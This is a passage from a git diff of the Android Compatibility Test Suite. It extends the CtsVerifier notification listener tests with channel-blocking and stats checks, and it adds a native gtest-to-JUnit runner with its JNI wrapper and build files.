+ if (mCurrentTest != null && mCurrentTest.getIntent() != null) {
+ startActivity(mCurrentTest.getIntent());
} else if (id == R.string.attention_ready) {
if (mCurrentTest != null) {
mCurrentTest.status = READY;
@@ -452,7 +454,7 @@
@Override
void test() {
mNm.cancelAll();
- Intent settings = new Intent(NOTIFICATION_LISTENER_SETTINGS);
+ Intent settings = new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
if (settings.resolveActivity(mPackageManager) == null) {
logFail("no settings activity");
status = FAIL;
@@ -468,10 +470,57 @@
}
}
+ @Override
void tearDown() {
// wait for the service to start
delay();
}
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+ }
+ }
+
+ protected class CannotBeEnabledTest extends InteractiveTestCase {
+ @Override
+ View inflate(ViewGroup parent) {
+ return createNlsSettingsItem(parent, R.string.nls_cannot_enable_service);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ void test() {
+ mNm.cancelAll();
+ Intent settings = new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+ if (settings.resolveActivity(mPackageManager) == null) {
+ logFail("no settings activity");
+ status = FAIL;
+ } else {
+ String listeners = Secure.getString(getContentResolver(),
+ ENABLED_NOTIFICATION_LISTENERS);
+ if (listeners != null && listeners.contains(LISTENER_PATH)) {
+ status = FAIL;
+ } else {
+ status = PASS;
+ }
+ next();
+ }
+ }
+
+ void tearDown() {
+ // wait for the service to start
+ delay();
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+ }
}
protected class ServiceStartedTest extends InteractiveTestCase {
@@ -482,7 +531,7 @@
@Override
void test() {
- if (MockListener.getInstance() != null) {
+ if (MockListener.getInstance() != null && MockListener.getInstance().isConnected) {
status = PASS;
next();
} else {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockConditionProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockConditionProvider.java
index 489797b..f32460f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockConditionProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockConditionProvider.java
@@ -19,6 +19,7 @@
import android.app.Activity;
import android.app.AutomaticZenRule;
import android.content.BroadcastReceiver;
+import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
@@ -35,7 +36,8 @@
public class MockConditionProvider extends ConditionProviderService {
static final String TAG = "MockConditionProvider";
- static final String PACKAGE_NAME = "com.android.cts.verifier.notifications";
+ public static final ComponentName COMPONENT_NAME =
+ new ComponentName("com.android.cts.verifier", MockConditionProvider.class.getName());
static final String PATH = "mock_cp";
static final String QUERY = "query_item";
@@ -56,6 +58,7 @@
private ArrayList<Uri> mSubscriptions = new ArrayList<>();
private boolean mConnected = false;
private BroadcastReceiver mReceiver;
+ private static MockConditionProvider sConditionProviderInstance = null;
@Override
public void onCreate() {
@@ -103,6 +106,20 @@
unregisterReceiver(mReceiver);
mReceiver = null;
Log.d(TAG, "destroyed");
+ sConditionProviderInstance = null;
+ }
+
+ public void requestUnbindService() {
+ sConditionProviderInstance = null;
+ super.requestUnbind();
+ }
+
+ public boolean isConnected() {
+ return mConnected;
+ }
+
+ public static MockConditionProvider getInstance() {
+ return sConditionProviderInstance;
}
public void resetData() {
@@ -141,6 +158,7 @@
public void onConnected() {
Log.d(TAG, "connected");
mConnected = true;
+ sConditionProviderInstance = this;
}
@Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
index 8b5acf8..5dfee12 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
@@ -18,6 +18,7 @@
import android.app.Notification;
import android.content.ComponentName;
import android.service.notification.NotificationListenerService;
+import android.service.notification.NotificationStats;
import android.service.notification.StatusBarNotification;
import android.util.ArrayMap;
import android.util.Log;
@@ -47,6 +48,7 @@
public static final String JSON_AMBIENT = "ambient";
public static final String JSON_MATCHES_ZEN_FILTER = "matches_zen_filter";
public static final String JSON_REASON = "reason";
+ public static final String JSON_STATS = "stats";
ArrayList<String> mPosted = new ArrayList<String>();
ArrayMap<String, JSONObject> mNotifications = new ArrayMap<>();
@@ -174,13 +176,14 @@
@Override
public void onNotificationRemoved(StatusBarNotification sbn, RankingMap rankingMap,
- int reason) {
+ NotificationStats stats, int reason) {
Log.d(TAG, "removed: " + sbn.getTag() + " for reason " + reason);
mRemoved.add(sbn.getTag());
JSONObject removed = new JSONObject();
try {
removed.put(JSON_TAG, sbn.getTag());
removed.put(JSON_REASON, reason);
+ removed.put(JSON_STATS, stats != null);
} catch (JSONException e) {
Log.e(TAG, "failed to pack up notification payload", e);
}
@@ -189,5 +192,4 @@
mRemovedReason.put(sbn.getTag(), removed);
onNotificationRankingUpdate(rankingMap);
}
-
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 062b8a9..90b1f7d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -16,20 +16,30 @@
package com.android.cts.verifier.notifications;
+import static android.app.NotificationManager.IMPORTANCE_LOW;
+import static android.app.NotificationManager.IMPORTANCE_NONE;
+import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS;
+import static android.provider.Settings.EXTRA_APP_PACKAGE;
+import static android.provider.Settings.EXTRA_CHANNEL_GROUP_ID;
+import static android.provider.Settings.EXTRA_CHANNEL_ID;
+
import android.annotation.SuppressLint;
-import android.app.Activity;
+import android.app.ActivityManager;
import android.app.Notification;
import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
+import android.app.NotificationChannelGroup;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
import android.os.Bundle;
+import android.provider.Settings;
import android.provider.Settings.Secure;
import android.service.notification.StatusBarNotification;
import android.support.v4.app.NotificationCompat;
import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
+import android.widget.Button;
import com.android.cts.verifier.R;
@@ -45,11 +55,13 @@
import static com.android.cts.verifier.notifications.MockListener.*;
import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertNull;
public class NotificationListenerVerifierActivity extends InteractiveVerifierActivity
implements Runnable {
private static final String TAG = "NoListenerVerifier";
private static final String NOTIFICATION_CHANNEL_ID = TAG;
+ protected static final String PREFS = "listener_prefs";
private String mTag1;
private String mTag2;
@@ -82,30 +94,40 @@
@Override
protected List<InteractiveTestCase> createTestItems() {
List<InteractiveTestCase> tests = new ArrayList<>(17);
- tests.add(new IsEnabledTest());
- tests.add(new ServiceStartedTest());
- tests.add(new NotificationReceivedTest());
- tests.add(new DataIntactTest());
- tests.add(new DismissOneTest());
- tests.add(new DismissOneWithReasonTest());
- tests.add(new DismissAllTest());
- tests.add(new SnoozeNotificationForTimeTest());
- tests.add(new SnoozeNotificationForTimeCancelTest());
- tests.add(new GetSnoozedNotificationTest());
- tests.add(new EnableHintsTest());
- tests.add(new RequestUnbindTest());
- tests.add(new RequestBindTest());
- tests.add(new MessageBundleTest());
- tests.add(new EnableHintsTest());
- tests.add(new IsDisabledTest());
- tests.add(new ServiceStoppedTest());
- tests.add(new NotificationNotReceivedTest());
+ ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+ if (am.isLowRamDevice()) {
+ tests.add(new CannotBeEnabledTest());
+ tests.add(new ServiceStoppedTest());
+ tests.add(new NotificationNotReceivedTest());
+ } else {
+ tests.add(new IsEnabledTest());
+ tests.add(new ServiceStartedTest());
+ tests.add(new NotificationReceivedTest());
+ tests.add(new DataIntactTest());
+ tests.add(new DismissOneTest());
+ tests.add(new DismissOneWithReasonTest());
+ tests.add(new DismissOneWithStatsTest());
+ tests.add(new DismissAllTest());
+ tests.add(new SnoozeNotificationForTimeTest());
+ tests.add(new SnoozeNotificationForTimeCancelTest());
+ tests.add(new GetSnoozedNotificationTest());
+ tests.add(new EnableHintsTest());
+ tests.add(new ReceiveChannelBlockNoticeTest());
+ tests.add(new ReceiveGroupBlockNoticeTest());
+ tests.add(new RequestUnbindTest());
+ tests.add(new RequestBindTest());
+ tests.add(new MessageBundleTest());
+ tests.add(new EnableHintsTest());
+ tests.add(new IsDisabledTest());
+ tests.add(new ServiceStoppedTest());
+ tests.add(new NotificationNotReceivedTest());
+ }
return tests;
}
private void createChannel() {
NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
- NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+ NOTIFICATION_CHANNEL_ID, IMPORTANCE_LOW);
mNm.createNotificationChannel(channel);
}
@@ -206,6 +228,161 @@
}
}
+ /**
+ * Creates a notification channel. Sends the user to settings to block the channel. Waits
+ * to receive the broadcast that the channel was blocked, and confirms that the broadcast
+ * contains the correct extras.
+ */
+ protected class ReceiveChannelBlockNoticeTest extends InteractiveTestCase {
+ private String mChannelId;
+ private int mRetries = 2;
+ private View mView;
+ @Override
+ View inflate(ViewGroup parent) {
+ mView = createNlsSettingsItem(parent, R.string.nls_block_channel);
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(false);
+ return mView;
+ }
+
+ @Override
+ void setUp() {
+ mChannelId = UUID.randomUUID().toString();
+ NotificationChannel channel = new NotificationChannel(
+ mChannelId, "ReceiveChannelBlockNoticeTest", IMPORTANCE_LOW);
+ mNm.createNotificationChannel(channel);
+ status = READY;
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(true);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ void test() {
+ NotificationChannel channel = mNm.getNotificationChannel(mChannelId);
+ SharedPreferences prefs = mContext.getSharedPreferences(
+ NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+
+ if (channel.getImportance() == IMPORTANCE_NONE) {
+ if (prefs.contains(mChannelId) && prefs.getBoolean(mChannelId, false)) {
+ status = PASS;
+ } else {
+ if (mRetries > 0) {
+ mRetries--;
+ status = RETEST;
+ } else {
+ status = FAIL;
+ }
+ }
+ } else {
+ // user hasn't jumped to settings to block the channel yet
+ status = WAIT_FOR_USER;
+ }
+
+ next();
+ }
+
+ void tearDown() {
+ MockListener.getInstance().resetData();
+ mNm.deleteNotificationChannel(mChannelId);
+ SharedPreferences prefs = mContext.getSharedPreferences(
+ NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.remove(mChannelId);
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_CHANNEL_NOTIFICATION_SETTINGS)
+ .putExtra(EXTRA_APP_PACKAGE, mContext.getPackageName())
+ .putExtra(EXTRA_CHANNEL_ID, mChannelId);
+ }
+ }
+
+ /**
+ * Creates a notification channel group. Sends the user to settings to block the group. Waits
+ * to receive the broadcast that the group was blocked, and confirms that the broadcast contains
+ * the correct extras.
+ */
+ protected class ReceiveGroupBlockNoticeTest extends InteractiveTestCase {
+ private String mGroupId;
+ private int mRetries = 2;
+ private View mView;
+ @Override
+ View inflate(ViewGroup parent) {
+ mView = createNlsSettingsItem(parent, R.string.nls_block_group);
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(false);
+ return mView;
+ }
+
+ @Override
+ void setUp() {
+ mGroupId = UUID.randomUUID().toString();
+ NotificationChannelGroup group
+ = new NotificationChannelGroup(mGroupId, "ReceiveChannelGroupBlockNoticeTest");
+ mNm.createNotificationChannelGroup(group);
+ NotificationChannel channel = new NotificationChannel(
+ mGroupId, "ReceiveChannelBlockNoticeTest", IMPORTANCE_LOW);
+ channel.setGroup(mGroupId);
+ mNm.createNotificationChannel(channel);
+ status = READY;
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(true);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ void test() {
+ NotificationChannelGroup group = mNm.getNotificationChannelGroup(mGroupId);
+ SharedPreferences prefs = mContext.getSharedPreferences(
+ NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+
+ if (group.isBlocked()) {
+ if (prefs.contains(mGroupId) && prefs.getBoolean(mGroupId, false)) {
+ status = PASS;
+ } else {
+ if (mRetries > 0) {
+ mRetries--;
+ status = RETEST;
+ } else {
+ status = FAIL;
+ }
+ }
+ } else {
+ // user hasn't jumped to settings to block the channel yet
+ status = WAIT_FOR_USER;
+ }
+
+ next();
+ }
+
+ void tearDown() {
+ MockListener.getInstance().resetData();
+ mNm.deleteNotificationChannelGroup(mGroupId);
+ SharedPreferences prefs = mContext.getSharedPreferences(
+ NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.remove(mGroupId);
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_CHANNEL_GROUP_NOTIFICATION_SETTINGS)
+ .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK)
+ .putExtra(EXTRA_APP_PACKAGE, mContext.getPackageName())
+ .putExtra(EXTRA_CHANNEL_GROUP_ID, mGroupId);
+ }
+ }
+
private class DataIntactTest extends InteractiveTestCase {
@Override
View inflate(ViewGroup parent) {
@@ -265,9 +442,6 @@
"data integrity test: notification ID (%d, %d)");
pass &= checkEquals(mWhen3, payload.getLong(JSON_WHEN),
"data integrity test: notification when (%d, %d)");
- } else {
- pass = false;
- logFail("unexpected notification tag: " + tag);
}
} catch (JSONException e) {
pass = false;
@@ -275,7 +449,7 @@
}
}
- pass &= found.size() == 3;
+ pass &= found.size() >= 3;
status = pass ? PASS : FAIL;
}
@@ -389,6 +563,61 @@
}
}
+ private class DismissOneWithStatsTest extends InteractiveTestCase {
+ int mRetries = 3;
+
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.nls_clear_one_stats);
+ }
+
+ @Override
+ void setUp() {
+ createChannel();
+ sendNotifications();
+ status = READY;
+ }
+
+ @Override
+ void test() {
+ if (status == READY) {
+ MockListener.getInstance().cancelNotification(
+ MockListener.getInstance().getKeyForTag(mTag1));
+ status = RETEST;
+ } else {
+ List<JSONObject> result =
+ new ArrayList<>(MockListener.getInstance().mRemovedReason.values());
+ boolean pass = true;
+ for (JSONObject payload : result) {
+ try {
+ pass &= (payload.getBoolean(JSON_STATS) == false);
+ } catch (JSONException e) {
+ e.printStackTrace();
+ pass = false;
+ }
+ }
+ if (pass) {
+ status = PASS;
+ } else {
+ if (--mRetries > 0) {
+ sleep(100);
+ status = RETEST;
+ } else {
+ logFail("Notification listener got populated stats object.");
+ status = FAIL;
+ }
+ }
+ }
+ }
+
+ @Override
+ void tearDown() {
+ mNm.cancelAll();
+ deleteChannel();
+ MockListener.getInstance().resetData();
+ }
+ }
+
private class DismissAllTest extends InteractiveTestCase {
@Override
View inflate(ViewGroup parent) {
@@ -458,6 +687,7 @@
}
private class ServiceStoppedTest extends InteractiveTestCase {
+ int mRetries = 3;
@Override
View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_service_stopped);
@@ -465,12 +695,23 @@
@Override
void test() {
- if (mNm.getEffectsSuppressor() == null) {
+ if (mNm.getEffectsSuppressor() == null && (MockListener.getInstance() == null
+ || !MockListener.getInstance().isConnected)) {
status = PASS;
} else {
- status = FAIL;
+ if (--mRetries > 0) {
+ sleep(100);
+ status = RETEST;
+ } else {
+ status = FAIL;
+ }
}
}
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+ }
}
private class NotificationNotReceivedTest extends InteractiveTestCase {
@@ -489,12 +730,16 @@
@Override
void test() {
- List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
- if (result.size() == 0) {
+ if (MockListener.getInstance() == null) {
status = PASS;
} else {
- logFail();
- status = FAIL;
+ List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
+ if (result.size() == 0) {
+ status = PASS;
+ } else {
+ logFail();
+ status = FAIL;
+ }
}
next();
}
@@ -503,7 +748,9 @@
void tearDown() {
mNm.cancelAll();
deleteChannel();
- MockListener.getInstance().resetData();
+ if (MockListener.getInstance() != null) {
+ MockListener.getInstance().resetData();
+ }
}
}
diff --git a/apps/PermissionApp/AndroidManifest.xml b/apps/PermissionApp/AndroidManifest.xml
index 82e3617..f880933 100644
--- a/apps/PermissionApp/AndroidManifest.xml
+++ b/apps/PermissionApp/AndroidManifest.xml
@@ -21,6 +21,7 @@
<uses-sdk android:minSdkVersion="23"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
+ <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
<application android:label="CtsPermissionApp"
android:icon="@drawable/ic_permissionapp">
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/GenericDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/GenericDeviceInfo.java
index cb4324c..c81f8fe 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/GenericDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/GenericDeviceInfo.java
@@ -73,7 +73,7 @@
store.addResult(BUILD_FINGERPRINT, Build.FINGERPRINT);
store.addResult(BUILD_ABI, Build.CPU_ABI);
store.addResult(BUILD_ABI2, Build.CPU_ABI2);
- store.addResult(BUILD_SERIAL, Build.SERIAL);
+ store.addResult(BUILD_SERIAL, Build.getSerial());
store.addResult(BUILD_VERSION_RELEASE, Build.VERSION.RELEASE);
store.addResult(BUILD_VERSION_SDK, Build.VERSION.SDK);
store.addResult(BUILD_REFERENCE_FINGERPRINT,
diff --git a/common/device-side/nativetesthelper/Android.mk b/common/device-side/nativetesthelper/Android.mk
new file mode 100644
index 0000000..19f584d
--- /dev/null
+++ b/common/device-side/nativetesthelper/Android.mk
@@ -0,0 +1,25 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-common-util-devicesidelib
+LOCAL_MODULE := nativetesthelper
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/device-side/nativetesthelper/jni/Android.mk b/common/device-side/nativetesthelper/jni/Android.mk
new file mode 100644
index 0000000..f970e8c
--- /dev/null
+++ b/common/device-side/nativetesthelper/jni/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# This is the shared library included by the JNI test app.
+#
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libnativetesthelper_jni
+
+LOCAL_SRC_FILES := \
+ gtest_wrapper.cpp
+
+LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++
+LOCAL_WHOLE_STATIC_LIBRARIES := libgtest_ndk_c++
+LOCAL_EXPORT_STATIC_LIBRARY_HEADERS := libgtest_ndk_c++
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_CFLAGS := -Wall -Werror
+LOCAL_MULTILIB := both
+
+include $(BUILD_STATIC_LIBRARY)
diff --git a/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp b/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
new file mode 100644
index 0000000..1f91b3a
--- /dev/null
+++ b/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
@@ -0,0 +1,185 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <nativehelper/ScopedLocalRef.h>
+#include <gtest/gtest.h>
+
+static struct {
+ jclass clazz;
+
+ /** static methods **/
+ jmethodID createTestDescription;
+
+ /** methods **/
+ jmethodID addChild;
+} gDescription;
+
+static struct {
+ jclass clazz;
+
+ jmethodID fireTestStarted;
+ jmethodID fireTestIgnored;
+ jmethodID fireTestFailure;
+ jmethodID fireTestFinished;
+
+} gRunNotifier;
+
+static struct {
+ jclass clazz;
+ jmethodID ctor;
+} gAssertionFailure;
+
+static struct {
+ jclass clazz;
+ jmethodID ctor;
+} gFailure;
+
+jobject gEmptyAnnotationsArray;
+
+static jobject createTestDescription(JNIEnv* env, const char* className, const char* testName) {
+ ScopedLocalRef<jstring> jClassName(env, env->NewStringUTF(className));
+ ScopedLocalRef<jstring> jTestName(env, env->NewStringUTF(testName));
+ return env->CallStaticObjectMethod(gDescription.clazz, gDescription.createTestDescription,
+ jClassName.get(), jTestName.get(), gEmptyAnnotationsArray);
+}
+
+static void addChild(JNIEnv* env, jobject description, jobject childDescription) {
+ env->CallVoidMethod(description, gDescription.addChild, childDescription);
+}
+
+
+class JUnitNotifyingListener : public ::testing::EmptyTestEventListener {
+public:
+
+ JUnitNotifyingListener(JNIEnv* env, jobject runNotifier)
+ : mEnv(env)
+ , mRunNotifier(runNotifier)
+ , mCurrentTestDescription{env, nullptr}
+ {}
+ virtual ~JUnitNotifyingListener() {}
+
+ virtual void OnTestStart(const testing::TestInfo &testInfo) override {
+ mCurrentTestDescription.reset(
+ createTestDescription(mEnv, testInfo.test_case_name(), testInfo.name()));
+ notify(gRunNotifier.fireTestStarted);
+ }
+
+ virtual void OnTestPartResult(const testing::TestPartResult &testPartResult) override {
+ if (!testPartResult.passed()) {
+ char message[1024];
+ snprintf(message, 1024, "%s:%d\n%s", testPartResult.file_name(), testPartResult.line_number(),
+ testPartResult.message());
+ ScopedLocalRef<jstring> jmessage(mEnv, mEnv->NewStringUTF(message));
+ ScopedLocalRef<jobject> jthrowable(mEnv, mEnv->NewObject(gAssertionFailure.clazz,
+ gAssertionFailure.ctor, jmessage.get()));
+ ScopedLocalRef<jobject> jfailure(mEnv, mEnv->NewObject(gFailure.clazz,
+ gFailure.ctor, mCurrentTestDescription.get(), jthrowable.get()));
+ mEnv->CallVoidMethod(mRunNotifier, gRunNotifier.fireTestFailure, jfailure.get());
+ }
+ }
+
+ virtual void OnTestEnd(const testing::TestInfo&) override {
+ notify(gRunNotifier.fireTestFinished);
+ mCurrentTestDescription.reset();
+ }
+
+ virtual void OnTestProgramEnd(const testing::UnitTest& unitTest) override {
+ // Invoke the notifiers for all the disabled tests
+ for (int testCaseIndex = 0; testCaseIndex < unitTest.total_test_case_count(); testCaseIndex++) {
+ auto testCase = unitTest.GetTestCase(testCaseIndex);
+ for (int testIndex = 0; testIndex < testCase->total_test_count(); testIndex++) {
+ auto testInfo = testCase->GetTestInfo(testIndex);
+ if (!testInfo->should_run()) {
+ mCurrentTestDescription.reset(
+ createTestDescription(mEnv, testCase->name(), testInfo->name()));
+ notify(gRunNotifier.fireTestIgnored);
+ mCurrentTestDescription.reset();
+ }
+ }
+ }
+ }
+
+private:
+ void notify(jmethodID method) {
+ mEnv->CallVoidMethod(mRunNotifier, method, mCurrentTestDescription.get());
+ }
+
+ JNIEnv* mEnv;
+ jobject mRunNotifier;
+ ScopedLocalRef<jobject> mCurrentTestDescription;
+};
+
+extern "C"
+JNIEXPORT void JNICALL
+Java_com_android_gtestrunner_GtestRunner_nInitialize(JNIEnv *env, jclass, jobject suite) {
+ // Initialize gtest, removing the default result printer
+ int argc = 1;
+ const char* argv[] = { "gtest_wrapper" };
+ ::testing::InitGoogleTest(&argc, (char**) argv);
+
+ auto& listeners = ::testing::UnitTest::GetInstance()->listeners();
+ delete listeners.Release(listeners.default_result_printer());
+
+ gDescription.clazz = (jclass) env->NewGlobalRef(env->FindClass("org/junit/runner/Description"));
+ gDescription.createTestDescription = env->GetStaticMethodID(gDescription.clazz, "createTestDescription",
+ "(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/annotation/Annotation;)Lorg/junit/runner/Description;");
+ gDescription.addChild = env->GetMethodID(gDescription.clazz, "addChild",
+ "(Lorg/junit/runner/Description;)V");
+
+ jclass annotations = env->FindClass("java/lang/annotation/Annotation");
+ gEmptyAnnotationsArray = env->NewGlobalRef(env->NewObjectArray(0, annotations, nullptr));
+
+ gAssertionFailure.clazz = (jclass) env->NewGlobalRef(env->FindClass("java/lang/AssertionError"));
+ gAssertionFailure.ctor = env->GetMethodID(gAssertionFailure.clazz, "<init>", "(Ljava/lang/Object;)V");
+
+ gFailure.clazz = (jclass) env->NewGlobalRef(env->FindClass("org/junit/runner/notification/Failure"));
+ gFailure.ctor = env->GetMethodID(gFailure.clazz, "<init>",
+ "(Lorg/junit/runner/Description;Ljava/lang/Throwable;)V");
+
+ gRunNotifier.clazz = (jclass) env->NewGlobalRef(
+ env->FindClass("org/junit/runner/notification/RunNotifier"));
+ gRunNotifier.fireTestStarted = env->GetMethodID(gRunNotifier.clazz, "fireTestStarted",
+ "(Lorg/junit/runner/Description;)V");
+ gRunNotifier.fireTestIgnored = env->GetMethodID(gRunNotifier.clazz, "fireTestIgnored",
+ "(Lorg/junit/runner/Description;)V");
+ gRunNotifier.fireTestFinished = env->GetMethodID(gRunNotifier.clazz, "fireTestFinished",
+ "(Lorg/junit/runner/Description;)V");
+ gRunNotifier.fireTestFailure = env->GetMethodID(gRunNotifier.clazz, "fireTestFailure",
+ "(Lorg/junit/runner/notification/Failure;)V");
+
+ auto unitTest = ::testing::UnitTest::GetInstance();
+ for (int testCaseIndex = 0; testCaseIndex < unitTest->total_test_case_count(); testCaseIndex++) {
+ auto testCase = unitTest->GetTestCase(testCaseIndex);
+ for (int testIndex = 0; testIndex < testCase->total_test_count(); testIndex++) {
+ auto testInfo = testCase->GetTestInfo(testIndex);
+ ScopedLocalRef<jobject> testDescription(env,
+ createTestDescription(env, testCase->name(), testInfo->name()));
+ addChild(env, suite, testDescription.get());
+ }
+ }
+}
+
+extern "C"
+JNIEXPORT jboolean JNICALL
+Java_com_android_gtestrunner_GtestRunner_nRun(JNIEnv *env, jclass, jobject notifier) {
+ auto& listeners = ::testing::UnitTest::GetInstance()->listeners();
+ JUnitNotifyingListener junitListener{env, notifier};
+ listeners.Append(&junitListener);
+ int success = RUN_ALL_TESTS();
+ listeners.Release(&junitListener);
+ return success == 0;
+}
diff --git a/common/device-side/nativetesthelper/src/com/android/gtestrunner/GtestRunner.java b/common/device-side/nativetesthelper/src/com/android/gtestrunner/GtestRunner.java
new file mode 100644
index 0000000..222a1a0
--- /dev/null
+++ b/common/device-side/nativetesthelper/src/com/android/gtestrunner/GtestRunner.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.gtestrunner;
+
+import org.junit.runner.Description;
+import org.junit.runner.Runner;
+import org.junit.runner.notification.RunNotifier;
+
+public class GtestRunner extends Runner {
+ private static boolean sOnceFlag = false;
+
+ private Class mTargetClass;
+ private Description mDescription;
+
+ public GtestRunner(Class testClass) {
+ synchronized (GtestRunner.class) {
+ if (sOnceFlag) {
+ throw new IllegalStateException("Error multiple GtestRunners defined");
+ }
+ sOnceFlag = true;
+ }
+
+ mTargetClass = testClass;
+ TargetLibrary library = (TargetLibrary) testClass.getAnnotation(TargetLibrary.class);
+ if (library == null) {
+ throw new IllegalStateException("Missing required @TargetLibrary annotation");
+ }
+ System.loadLibrary(library.value());
+ mDescription = Description.createSuiteDescription(testClass);
+ nInitialize(mDescription);
+ }
+
+ @Override
+ public Description getDescription() {
+ return mDescription;
+ }
+
+ @Override
+ public void run(RunNotifier notifier) {
+ nRun(notifier);
+ }
+
+ private static native void nInitialize(Description description);
